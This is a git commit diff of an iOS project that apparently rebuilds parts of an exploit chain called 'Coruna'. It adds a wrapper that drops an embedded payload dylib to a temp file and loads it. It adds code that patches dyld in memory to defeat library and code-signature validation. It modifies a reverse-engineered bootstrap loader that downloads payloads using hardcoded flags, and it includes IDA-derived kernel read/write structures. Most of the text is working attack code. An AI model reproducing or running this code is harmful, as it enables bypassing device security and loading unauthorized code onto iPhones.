tmp

2026-07-12 23:16:39 +02:00 · 2026-03-25 07:16:23 +07:00
parent 33b42fcf43
commit 09281afd75
35 changed files with 58564 additions and 83 deletions
@@ -0,0 +1,3 @@
+.theos/
+packages/
+.DS_Store
@@ -0,0 +1,80 @@
+@import Darwin;
+@import MachO;
+#include <mach-o/ldsyms.h> /* _mh_dylib_header */
+
+// Function pointers
+extern pthread_t pthread_main_thread_np(void);
+extern void _pthread_set_self(pthread_t p);
+void              (*_abort)(void);
+int               (*_close)(int);
+void*             (*_dlsym)(void *, const char *);
+void*             (*_dlopen)(const char* path, int mode);
+const char*       (*_dlerror)(void);
+uint8_t*          (*_getsectiondata)(const struct mach_header_64 *, const char *, const char *, unsigned long *);
+thread_t          (*_mach_thread_self)(void);
+int               (*_open)(const char *, int, ...);
+void              (*__pthread_set_self)(pthread_t p);
+pthread_t         (*_pthread_main_thread_np)(void);
+int               (*_strncmp)(const char *s1, const char *s2, size_t n);
+kern_return_t     (*_thread_terminate)(mach_port_t);
+int               (*_write)(int, const void *, size_t);
+
+int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), const char *next_stage_dylib_path);
+
+void save_section_to_file(const char *section, const char *path) {
+    size_t dylib_size = 0;
+    const char *dylib = (const char *)_getsectiondata((struct mach_header_64 *)&_mh_dylib_header, "__TEXT", section, &dylib_size);
+    if (!dylib || dylib_size == 0) return;
+    int fd = _open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
+    if (fd < 0) return;
+    _write(fd, dylib, dylib_size);
+    _close(fd);
+}
+
+const char *save_actual_dylib(void) {
+    char path[PATH_MAX];
+    snprintf(path, PATH_MAX, "%s/actual.dylib", getenv("TMPDIR"));
+    save_section_to_file("__SBTweak", path);
+    return path;
+}
+
+#if __arm64e__
+__attribute__((noinline)) void *pacia(void* ptr, uint64_t ctx) {
+    __asm__("xpaci %[value]\n" : [value] "+r"(ptr));
+    __asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
+    return ptr;
+}
+#endif
+
+// Entry point when loaded by Coruna
+int driver(uint64_t *ptr) {
+#if __arm64e__
+    _dlsym = pacia(dlsym, 0);
+    __pthread_set_self = pacia(_pthread_set_self, 0);
+    _pthread_main_thread_np = pacia(pthread_main_thread_np, 0);
+#else
+    _dlsym = dlsym;
+    __pthread_set_self = _pthread_set_self;
+    _pthread_main_thread_np = pthread_main_thread_np;
+#endif
+    __pthread_set_self(_pthread_main_thread_np());
+
+    _abort = _dlsym(RTLD_DEFAULT, "abort");
+    _close = _dlsym(RTLD_DEFAULT, "close");
+    _dlopen = _dlsym(RTLD_DEFAULT, "dlopen");
+    _dlerror = _dlsym(RTLD_DEFAULT, "dlerror");
+    _getsectiondata = _dlsym(RTLD_DEFAULT, "getsectiondata");
+    _mach_thread_self = _dlsym(RTLD_DEFAULT, "mach_thread_self");
+    _open = _dlsym(RTLD_DEFAULT, "open");
+    _strncmp = _dlsym(RTLD_DEFAULT, "strncmp");
+    _thread_terminate = _dlsym(RTLD_DEFAULT, "thread_terminate");
+    _write = _dlsym(RTLD_DEFAULT, "write");
+
+    // setup dyld validation bypass
+    const char *path = save_actual_dylib();
+    dyld_lv_bypass_init(_dlsym, path);
+
+    void *handle = _dlopen("/tmp/actual.dylib", RTLD_NOW);
+
+    return 0;
+}
@@ -0,0 +1,19 @@
+TARGET := iphone:clang:latest:15.0
+ARCHS = arm64 arm64e
+FINALPACKAGE = 1
+STRIP = 0
+GO_EASY_ON_ME = 1
+
+include $(THEOS)/makefiles/common.mk
+
+LIBRARY_NAME = DriverWrapper
+DriverWrapper_FILES = DriverWrapper.m lv_bypass.c
+DriverWrapper_CFLAGS = -fno-objc-arc
+DriverWrapper_LDFLAGS = -sectcreate __TEXT __SBTweak ../../payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry1_type0x09.dylib
+# $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib
+DriverWrapper_INSTALL_PATH = /usr/local/lib
+
+install:: $(THEOS_OBJ_DIR)/DriverWrapper.dylib
+	echo INSTALLING
+
+include $(THEOS_MAKE_PATH)/library.mk
@@ -0,0 +1,9 @@
+Package: com.yourcompany.TweakLoader
+Name: TweakLoader
+Version: 0.0.1
+Architecture: iphoneos-arm
+Description: An awesome library of some sort!!
+Maintainer: khanhduytran0
+Author: khanhduytran0
+Section: System
+Tag: role::developer
@@ -0,0 +1,244 @@
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <mach-o/loader.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/dyld_images.h>
+#include <sys/syscall.h>
+
+#define ASM(...) __asm__(#__VA_ARGS__)
+// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48"
+static const char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41};
+
+// Signatures to search for
+static const char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
+static const char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4};
+static const char syscallSig[] = {0x01, 0x10, 0x00, 0xD4};
+static int (*orig_fcntl)(int fildes, int cmd, void *param) = 0;
+
+static void (*next_exit)(int);
+static int (*_printf)(const char *s, ...);
+static int (*_mprotect)(void*, size_t, int);
+static int (*_munmap)(void*, size_t);
+static void* (*__mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
+static int (*__fcntl)(int fildes, int cmd, void* param);
+
+static kern_return_t (*_task_info)(task_name_t target_task, task_flavor_t flavor,
+                               task_info_t task_info_out,
+                               mach_msg_type_number_t *task_info_outCnt);
+static mach_port_t _mach_task_self_;
+
+kern_return_t builtin_vm_protect(mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot);
+static void init_bypassDyldLibValidation(void);
+
+int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol),
+    const char *next_stage_dylib_path)
+{
+    _printf = _dlsym(RTLD_DEFAULT, "printf");
+    if (!_printf)
+        return -0x41414141;
+
+    __fcntl = _dlsym(RTLD_DEFAULT, "__fcntl");
+    if (!__fcntl)
+        return -0x41414142;
+
+    __mmap = _dlsym(RTLD_DEFAULT, "__mmap");
+    if (!__mmap)
+        return -0x41414143;
+
+    _task_info = _dlsym(RTLD_DEFAULT, "task_info");
+    if (!_task_info)
+        return -0x41414144;
+
+    mach_port_t *portp = _dlsym(RTLD_DEFAULT, "mach_task_self_");
+    if (!portp)
+        return -0x41414145;
+
+    _mach_task_self_ = *portp;
+
+    _munmap = _dlsym(RTLD_DEFAULT, "munmap");
+
+    _mprotect = _dlsym(RTLD_DEFAULT, "mprotect");
+
+    next_exit = _dlsym(RTLD_DEFAULT, "exit");
+    if (!next_exit)
+        return -0x41414150;
+
+    init_bypassDyldLibValidation();
+
+    return 0;
+}
+
+static int builtin_memcmp(const void *s1, const void *s2, size_t n)
+{
+    const unsigned char *p1 = (const unsigned char *)s1;
+    const unsigned char *p2 = (const unsigned char *)s2;
+
+    while (n--) {
+        if (*p1 != *p2) {
+            return *p1 - *p2;
+        }
+
+        ++p1;
+        ++p2;
+    }
+
+    return 0;
+}
+
+static struct dyld_all_image_infos *_alt_dyld_get_all_image_infos(void) {
+    static struct dyld_all_image_infos *result;
+    if (result) {
+        return result;
+    }
+    struct task_dyld_info dyld_info;
+    mach_vm_address_t image_infos;
+    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
+    kern_return_t ret;
+    ret = _task_info(_mach_task_self_,
+                    TASK_DYLD_INFO,
+                    (task_info_t)&dyld_info,
+                    &count);
+    if (ret != KERN_SUCCESS) {
+        return NULL;
+    }
+    image_infos = dyld_info.all_image_info_addr;
+    result = (struct dyld_all_image_infos *)image_infos;
+    return result;
+}
+
+// Since we're patching libsystem_kernel, we must avoid calling to its functions
+static void builtin_memcpy(char *target, const char *source, size_t size) {
+    for (int i = 0; i < size; i++) {
+        target[i] = source[i];
+    }
+}
+
+// Originated from _kernelrpc_mach_vm_protect_trap
+ASM(
+.global _builtin_vm_protect \n
+_builtin_vm_protect:     \n
+    mov x16, #-0xe       \n
+    svc #0x80            \n
+    ret
+);
+
+static bool redirectFunction(char *name, void *patchAddr, void *target) {
+    kern_return_t kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);
+    if (kret != KERN_SUCCESS) {
+        _printf("[DyldLVBypass] vm_protect(RW) fails at line %d\n", __LINE__);
+        return FALSE;
+    }
+    
+    builtin_memcpy((char *)patchAddr, patch, sizeof(patch));
+#if __arm64e__
+    *(void **)((char*)patchAddr + 16) = __builtin_ptrauth_strip(target, 0);
+#else
+    *(void **)((char*)patchAddr + 16) = target;
+#endif
+    
+    kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);
+    if (kret != KERN_SUCCESS) {
+        _printf("[DyldLVBypass] vm_protect(RX) fails at line %d", __LINE__);
+        return FALSE;
+    }
+    
+    _printf("[DyldLVBypass] hook %s(%p) succeed!\n", name, patchAddr);
+    return TRUE;
+}
+
+static bool searchAndPatch(char *name, char *base, const char *signature, int length, void *target) {
+    char *patchAddr = NULL;
+    for(int i=0; i < 0x80000; i+=4) {
+        if (base[i] == signature[0] && builtin_memcmp(base+i, signature, length) == 0) {
+            patchAddr = base + i;
+            break;
+        }
+    }
+    
+    if (patchAddr == NULL) {
+        _printf("[DyldLVBypass] hook %s fails line %d\n", name, __LINE__);
+        return FALSE;
+    }
+    
+    _printf("[DyldLVBypass] found %s at %p\n", name, patchAddr);
+    return redirectFunction(name, patchAddr, target);
+}
+
+static void* hooked_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {
+    void *map = __mmap(addr, len, prot, flags, fd, offset);
+    if (map == MAP_FAILED && fd && (prot & PROT_EXEC)) {
+        map = __mmap(addr, len, PROT_READ | PROT_WRITE, flags | MAP_PRIVATE | MAP_ANON, 0, 0);
+        void *memoryLoadedFile = __mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, offset);
+        builtin_memcpy(map, memoryLoadedFile, len);
+        _munmap(memoryLoadedFile, len);
+        _mprotect(map, len, prot);
+    }
+    return map;
+}
+
+static int hooked___fcntl(int fildes, int cmd, void *param) {
+    if (cmd == F_ADDFILESIGS_RETURN) {
+#if !(TARGET_OS_MACCATALYST || TARGET_OS_SIMULATOR)
+        // attempt to attach code signature on iOS only as the binaries may have been signed
+        // on macOS, attaching on unsigned binaries without CS_DEBUGGED will crash
+        orig_fcntl(fildes, cmd, param);
+#endif
+        fsignatures_t *fsig = (fsignatures_t*)param;
+        // called to check that cert covers file.. so we'll make it cover everything ;)
+        fsig->fs_file_start = 0xFFFFFFFF;
+        return 0;
+    }
+
+    // Signature sanity check by dyld
+    else if (cmd == F_CHECK_LV) {
+        orig_fcntl(fildes, cmd, param);
+        // Just say everything is fine
+        return 0;
+    }
+    
+    // If for another command or file, we pass through
+    return orig_fcntl(fildes, cmd, param);
+}
+
+static void init_bypassDyldLibValidation(void) {
+    _printf("[DyldLVBypass] init\n");
+    
+    // Modifying exec page during execution may cause SIGBUS, so ignore it now
+    // Only comment this out if only one thread (main) is running
+    //signal(SIGBUS, SIG_IGN);
+    
+    orig_fcntl = __fcntl;
+    char *dyldBase = (char *)_alt_dyld_get_all_image_infos()->dyldImageLoadAddress;
+    //redirectFunction("mmap", mmap, hooked_mmap);
+    //redirectFunction("fcntl", fcntl, hooked_fcntl);
+    searchAndPatch("dyld_mmap", dyldBase, mmapSig, sizeof(mmapSig), hooked_mmap);
+    bool fcntlPatchSuccess = searchAndPatch("dyld_fcntl", dyldBase, fcntlSig, sizeof(fcntlSig), hooked___fcntl);
+    
+    // dopamine already hooked it, try to find its hook instead
+    if(!fcntlPatchSuccess) {
+        char* fcntlAddr = 0;
+        // search all syscalls and see if the the instruction before it is a branch instruction
+        for(int i=0; i < 0x80000; i+=4) {
+            if (dyldBase[i] == syscallSig[0] && builtin_memcmp(dyldBase+i, syscallSig, 4) == 0) {
+                char* syscallAddr = dyldBase + i;
+                uint32_t* prev = (uint32_t*)(syscallAddr - 4);
+                if(*prev >> 26 == 0x5) {
+                    fcntlAddr = (char*)prev;
+                    break;
+                }
+            }
+        }
+        
+        if(fcntlAddr) {
+            uint32_t* inst = (uint32_t*)fcntlAddr;
+            int32_t offset = ((int32_t)((*inst)<<6))>>4;
+            _printf("[DyldLVBypass] Dopamine hook offset = %x\n", offset);
+            orig_fcntl = (void*)((char*)fcntlAddr + offset);
+            redirectFunction("dyld_fcntl (Dopamine)", fcntlAddr, hooked___fcntl);
+        } else {
+            _printf("[DyldLVBypass] Dopamine hook not found\n");
+        }
+    }
+}
@@ -1,7 +1,7 @@
 TARGET := iphone:clang:latest:14.0
-ARCHS = arm64 arm64e
+ARCHS = arm64
 FINALPACKAGE = 1
-STRIP = 0
+STRIP = 1
 GO_EASY_ON_ME = 1

 include $(THEOS)/makefiles/common.mk
@@ -10,6 +10,7 @@ LIBRARY_NAME = bootstrap

 bootstrap_FILES = $(wildcard *.m)
 bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12
+bootstrap_LDFLAGS = -Os
 bootstrap_INSTALL_PATH = /usr/local/lib

 include $(THEOS_MAKE_PATH)/library.mk
@@ -13,19 +13,6 @@
 #import <stddef.h>
 #import <stdbool.h>
 #import <mach/mach.h>
-#import <string.h>
-#ifdef __arm64e__
-#import <ptrauth.h>
-#endif
-#import <ptrauth.h>
-
-/*
- * Sign a raw (unsigned) function pointer for arm64e PAC.
- * The exploit chain's ctx contains raw function pointers; arm64e
- * indirect calls authenticate via blraaz (key A, discriminator 0).
- * Call sign_ctx_fptrs() once in process() to sign all ctx fields
- * before any function pointer calls.
- */

 /* ── Error codes ─────────────────────────────────────────────────── */
 #define ERR_BASE            0x000A0000
@@ -401,7 +388,10 @@ uint32_t http_request(const char *url, const char *user_agent,
                      void **out_data, uint32_t *out_size);

 /* ── Logging (logging.c) ─────────────────────────────────────────── */
-void print_log(const char *fmt, ...);
+//void init_log_fd(void);
+//void print_log(const char *fmt, ...);
+#define init_log_fd() ((void)0)
+#define print_log(fmt, ...) ((void)0)
 uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
                  void **out_data, uint32_t *out_size);
 uint32_t format_and_send(const char *url, const char *ua,
@@ -318,10 +318,12 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)
        print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err);
        goto fail;
    }
+    print_log("[bootstrap] load_module: dlsym OK result=%p", dlsym_result);

    handle->vtable = NULL;
-    typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **);
-    err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable);
+    typedef uint32_t (*driver_fn_t)(module_vtable_t **);
+    err = SIGN_FPTR(driver_fn_t, dlsym_result)(&handle->vtable);
+    print_log("[bootstrap] load_module: _driver returned err=0x%x vtable=%p", err, handle->vtable);
    if (err)
        goto fail;

@@ -331,6 +333,7 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)

    sign_vtable_fptrs(vt);

+    print_log("[bootstrap] load_module: vtable version=%d num_funcs=%d", vt->version, vt->num_funcs);
    if (vt->version != 2)
        goto fail;
    if (vt->num_funcs < 2)
@@ -568,47 +568,12 @@ uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,

        int a15 = is_a15_or_newer(ctx);
        if (!(a15 & 1)) {
-            uint32_t os_ver = ctx->os_version;
-            uint32_t cpu = ctx->cpu_type;
-            uint32_t extra_flags = 0;
-            int did_specific = 0;
-
-            uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
-            if (shifted <= 0x3E) {
-                if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B ||
-                    cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) {
-                    did_specific = 1;
-                    uint8_t features = ctx->flag_a15_features;
-                    extra_flags = features ? 0x40000 : 0x30000;
-                    uint32_t soc_sub = ctx->soc_subversion;
-                    uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
-                                                  : (uint32_t)(-0x5E000000);
-                    uint32_t flags = dev | extra_flags;
-
-                    err = download_manifest(ctx, flags, raw_data, raw_size,
-                                            url_buf, 0x200, &key_ptr);
-                }
-            }
-
-            if (!did_specific) {
-                if ((os_ver - 0x100000) > 0x500) {
-                    /* Device/OS combo not supported by this payload set —
-                     * original binary jumps to the a15 bail-out path here
-                     * (flags=0 → download_manifest returns early error). */
-                    extra_flags = 0;
-                    err = ERR_NULL_CTX + 0x13;
-                } else {
-                    uint8_t features = ctx->flag_a15_features;
-                    extra_flags = features ? 0x60000 : 0x50000;
-
-                    uint32_t soc_sub = ctx->soc_subversion;
-                    uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
-                                                  : (uint32_t)(-0x5E000000);
-                    uint32_t flags = dev | extra_flags;
-
-                    err = download_manifest(ctx, flags, raw_data, raw_size,
-                                            url_buf, 0x200, &key_ptr);
-                }
+            /* OVERRIDE: hardcode entry 9 (377bed) flags for testing */
+            {
+                uint32_t flags = 0xf3900000;
+                print_log("[bootstrap] download_and_process: OVERRIDE flags=0x%x", flags);
+                err = download_manifest(ctx, flags, raw_data, raw_size,
+                                        url_buf, 0x200, &key_ptr);
            }

            /* Both specific and generic paths: download the actual
@@ -13,14 +13,34 @@

 extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t);

-void print_log(const char *fmt, ...)
-{
-    va_list ap;
-    va_start(ap, fmt);
-    vdprintf(1, fmt, ap);
-    dprintf(1, "\n");
-    va_end(ap);
-}
+static int _log_fd = -1;
+
+//void init_log_fd(void)
+//{
+//    if (_log_fd >= 0)
+//        return;
+//    char path[1024];
+//    const char *tmp = getenv("TMPDIR");
+//    if (!tmp) tmp = "/tmp";
+//    snprintf(path, sizeof(path), "%s/bootstrap.log", tmp);
+//    _log_fd = open(path, O_WRONLY | O_CREAT | O_APPEND, 0644);
+//}
+//
+//void print_log(const char *fmt, ...)
+//{
+//    int fd = (_log_fd >= 0) ? _log_fd : 1;
+//    char buf[1024];
+//    va_list ap;
+//    va_start(ap, fmt);
+//    int len = vsnprintf(buf, sizeof(buf), fmt, ap);
+//    va_end(ap);
+//    if (len > 0) {
+//        if (len >= (int)sizeof(buf))
+//            len = (int)sizeof(buf) - 1;
+//        buf[len] = '\n';
+//        write(fd, buf, len + 1);
+//    }
+//}

 /* ── format_string (0x9a34) ────────────────────────────────────── */

@@ -154,20 +154,19 @@ load_module:
    /* Load module via find_or_load */
    err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
        ctx, CONTAINER_TYPE_MODULE);
-    if (err) {
-        print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err);
-        void *module = NULL;
-        err = ((fn_get_pointer_t)ctx->fn_get_pointer)(
-            ctx, CONTAINER_TYPE_MODULE, &module);
-        if (err) {
-            print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err);
-            if (ctx->logging_enabled && ctx->log_func)
-                ctx->log_func(ctx, err, NULL, w23 + 0xD5);
-            return err;
-        }
-    }

-    print_log("[bootstrap] process_payload: load_module path OK");
+    /* Log result */
+    if (err && ctx->logging_enabled && ctx->log_func)
+        ctx->log_func(ctx, err, NULL, w23 + 0xB6);
+
+    /* Unload container wrapper (module code/vtable stays mapped) */
+    ctx->fn_unload(ctx, CONTAINER_TYPE_MODULE);
+
+    /* Store find_or_load result for caller */
+    if (result)
+        *result = err;
+
+    print_log("[bootstrap] process_payload: load_module path OK result=0x%x", err);
    return 0;

 direct_mode:
@@ -462,6 +461,9 @@ report_and_done:
 __attribute__((visibility("default")))
 uint32_t process(bootstrap_ctx_t *ctx)
 {
+    // initialize log file fd once, before anything else
+    init_log_fd();
+
    // redirect logging to file
    struct stat std_out;
    struct stat dev_null;
@@ -693,7 +695,7 @@ setup_mem:

        pthread_t thread;
        if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
-            thread_err = 1; /* success sentinel */
+            thread_err = 0; /* success — original binary: csinc w21, wzr, w21, eq → 0 on success */
            print_log("[bootstrap] process: worker thread created OK");
        } else {
            thread_err++;
@@ -0,0 +1,24 @@
+TARGET := iphone:clang:latest:14.0
+ARCHS = arm64 arm64e
+FINALPACKAGE = 1
+STRIP = 0
+GO_EASY_ON_ME = 1
+
+include $(THEOS)/makefiles/common.mk
+
+LIBRARY_NAME = entry1_type0x09
+
+entry1_type0x09_FILES = entry1_type0x09.m
+entry1_type0x09_CFLAGS = \
+    -Wno-int-conversion \
+    -Wno-incompatible-pointer-types \
+    -Wno-implicit-function-declaration \
+    -Wno-deprecated-non-prototype \
+    -Wno-incompatible-library-redeclaration \
+    -Wno-implicit-int \
+    -fno-builtin \
+    -I.
+entry1_type0x09_FRAMEWORKS = CoreFoundation IOKit Security
+entry1_type0x09_INSTALL_PATH = /usr/local/lib
+
+include $(THEOS_MAKE_PATH)/library.mk
@@ -0,0 +1,145 @@
+/*
+   This file has been generated by IDA.
+   It contains local type definitions from
+   the type library 'entry1_type0x09.dylib'
+*/
+@import Darwin;
+#include "ida_types.h"
+
+#define __int8 char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+
+/* 160 */
+enum CPUFamily : uint32_t
+{
+  CPUFamily_A8 = 0x2C91A47E,
+  CPUFamily_A9 = 0x92FB37C8,
+  CPUFamily_A10 = 0x67CEEE93,
+  CPUFamily_A11 = 0xE81E7EF6,
+  CPUFamily_A12 = 0x7D34B9F,
+  CPUFamily_A13 = 0x462504D2,
+  CPUFamily_A14 = 0x1B588BB3,
+  CPUFamily_A15 = 0xDA33D83D,
+  CPUFamily_A16 = 0x8765EDEA,
+  CPUFamily_A17 = 0x2876F5B5,
+};
+
+/* 164 */
+struct struct_krwCtx
+{
+  uint32_t flags;
+  uint8_t gap4[168];
+  uint32_t threadForKernelRead;
+  uint8_t gap42[144];
+  int xnuMajorVersion;
+  uint8_t gap144[20];
+  uint64_t someLargeNumber;
+  uint8_t gap160[8];
+  int int168;
+  int gap16C[5];
+  int pageSizeOrSomething;
+  int gap16C2;
+  uint64_t qword188;
+  uint8_t gap190[136];
+  uint64_t gap190u;
+  uint8_t gap190_[56];
+  int isRW;
+  struct mach_timebase_info timebase;
+  mach_port_t semaphore;
+  pthread_mutex_t someMutex;
+  uint32_t someInt1;
+  uint32_t someInt2;
+  uint64_t gap19100[16];
+  pthread_mutex_t someMutex2;
+  uint64_t gap191[695];
+  uint32_t gap1909;
+  uint32_t gap1910;
+  uint32_t gap1911[2];
+  uint32_t gap1913;
+  uint32_t gap1914;
+  uint32_t gap1915;
+  uint32_t gap1916;
+  uint64_t gap192[16];
+  uint64_t machHeaderPlus0x8000;
+  uint64_t gap19210;
+  uint64_t gap19211;
+  uint64_t slideMaybe;
+  uint64_t gap1921[108];
+  uint64_t qword1D48;
+};
+typedef struct struct_krwCtx struct_krwCtx;
+
+/* 165 */
+struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48
+{
+  _BYTE gap0[80];
+  _QWORD qword50;
+  _QWORD qword58;
+  _QWORD qword60;
+  _QWORD qword68;
+  _DWORD dword70;
+};
+typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 struct_qword1D48;
+
+/* 166 */
+struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion
+{
+  _OWORD majorVersion;
+  _OWORD oword10;
+  _QWORD qword20;
+};
+typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion struct_xnuMajorVersion;
+
+/* 168 */
+struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83
+{
+  _BYTE gap0[48];
+  _DWORD dword30;
+  _BYTE gap34[4];
+  _DWORD dword38;
+  _BYTE gap3C[52];
+  _OWORD xnuMajorVersion;
+  _OWORD oword80;
+  _QWORD qword90;
+  _DWORD dword98;
+  _BYTE gap9C[12];
+  _QWORD qwordA8;
+  _BYTE gapB0[81];
+  _BYTE byte101;
+};
+typedef struct __attribute__((packed)) __attribute__((aligned(2))) struct_v83 struct_v83;
+
+/* 169 */
+struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1
+{
+  _OWORD oword0;
+  _OWORD oword10;
+  _OWORD oword20;
+  _OWORD oword30;
+  _OWORD oword40;
+  _OWORD oword50;
+  _OWORD oword60;
+  _OWORD xnuMajorVersion;
+  _OWORD oword80;
+  _OWORD oword90;
+  _OWORD owordA0;
+  _OWORD owordB0;
+  _OWORD owordC0;
+  _OWORD owordD0;
+  _OWORD owordE0;
+  _OWORD owordF0;
+  _OWORD oword100;
+  _OWORD oword110;
+  _QWORD qword120;
+};
+typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_a1 struct_a1;
+
+/* 173 */
+enum krw_ctx_flags
+{
+  KRW_CTX_FLAG_CS_TXM = 0x20,
+  KRW_CTX_FLAG_CS_PPL_MAYBE = 0x8,
+};
@@ -0,0 +1,190 @@
+/*
+ * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64
+ */
+#ifndef IDA_TYPES_H
+#define IDA_TYPES_H
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mount.h>
+#include <sys/sysctl.h>
+#include <sys/ioctl.h>
+#include <sys/fcntl.h>
+#include <sys/socket.h>
+#include <pthread.h>
+#include <dlfcn.h>
+#include <mach/mach.h>
+#include <mach/mach_time.h>
+/* mach_vm.h is not available on iOS SDK — declare manually */
+#define mach_vm_address_t vm_address_t
+#define mach_vm_size_t    vm_size_t
+#define mach_vm_offset_t  vm_offset_t
+extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, mach_vm_address_t, mach_vm_size_t *);
+extern kern_return_t mach_vm_write(vm_map_t, mach_vm_address_t, vm_offset_t, mach_msg_type_number_t);
+extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);
+extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t);
+extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, boolean_t, vm_prot_t);
+extern kern_return_t mach_vm_machine_attribute(vm_map_t, mach_vm_address_t, mach_vm_size_t, vm_machine_attribute_t, vm_machine_attribute_val_t *);
+extern kern_return_t mach_vm_page_info(vm_map_t, mach_vm_address_t, vm_page_info_flavor_t, vm_page_info_t, mach_msg_type_number_t *);
+#include <mach/thread_act.h>
+#include <mach/host_priv.h>
+#include <mach/vm_map.h>
+#include <IOKit/IOKitLib.h>
+#include <CoreFoundation/CoreFoundation.h>
+#include <CommonCrypto/CommonDigest.h>
+#include <spawn.h>
+#include <signal.h>
+#include <arm_neon.h>
+
+/* ---- IDA integer types ---- */
+#define __int8  char
+#define __int16 short
+#define __int32 int
+#define __int64 long long
+
+typedef uint8_t   _BYTE;
+typedef uint16_t  _WORD;
+typedef uint32_t  _DWORD;
+typedef uint64_t  _QWORD;
+typedef __int128  _OWORD;
+typedef uint8_t   _UNKNOWN;
+typedef int       _BOOL4;
+typedef __int128  __n128;
+typedef __int128  xmmword;
+typedef char      kernel_version_t[512];
+
+/* ---- IDA calling conventions (no-ops) ---- */
+#define __fastcall
+#define __cdecl
+#define __usercall
+#define __thiscall
+
+/* ---- IDA accessor macros ---- */
+#define LODWORD(x)  (*(uint32_t*)&(x))
+#define HIDWORD(x)  (*((uint32_t*)&(x) + 1))
+#define LOBYTE(x)   (*(uint8_t*)&(x))
+#define HIBYTE(x)   (*((uint8_t*)&(x) + sizeof(x) - 1))
+#define LOWORD(x)   (*(uint16_t*)&(x))
+#define HIWORD(x)   (*((uint16_t*)&(x) + 1))
+#define BYTE1(x)    (*((uint8_t*)&(x) + 1))
+#define BYTE2(x)    (*((uint8_t*)&(x) + 2))
+#define BYTE3(x)    (*((uint8_t*)&(x) + 3))
+#define BYTE4(x)    (*((uint8_t*)&(x) + 4))
+#define BYTE5(x)    (*((uint8_t*)&(x) + 5))
+#define BYTE6(x)    (*((uint8_t*)&(x) + 6))
+#define BYTE7(x)    (*((uint8_t*)&(x) + 7))
+#define SHIDWORD(x) (*((int32_t*)&(x) + 1))
+#define SLOBYTE(x)  (*(int8_t*)&(x))
+#define SHIWORD(x)  (*((int16_t*)&(x) + 1))
+#define DWORD1(x)   (*((uint32_t*)&(x) + 1))
+#define DWORD2(x)   (*((uint32_t*)&(x) + 2))
+#define __PAIR64__(h, l) (((uint64_t)(h) << 32) | (uint32_t)(l))
+#define __PAIR32__(h, l) (((uint32_t)(h) << 16) | (uint16_t)(l))
+#define __CFADD__(a, b)  ((uint64_t)(a) > (uint64_t)(-1) - (uint64_t)(b))
+#define __OFSUB__(a, b)  (((a) ^ (b)) < 0 && ((a) ^ ((a) - (b))) < 0)
+#define __OFADD__(a, b)  (((a) ^ (b)) >= 0 && ((a) ^ ((a) + (b))) < 0)
+
+/* ---- ARM64 intrinsics ---- */
+#define __dsb(x) __asm__ volatile("dsb " #x ::: "memory")
+#define __isb(x) __asm__ volatile("isb " #x ::: "memory")
+#define __dmb(x) __asm__ volatile("dmb " #x ::: "memory")
+
+/* ---- IDA helpers ---- */
+#define __break(x)       __builtin_trap()
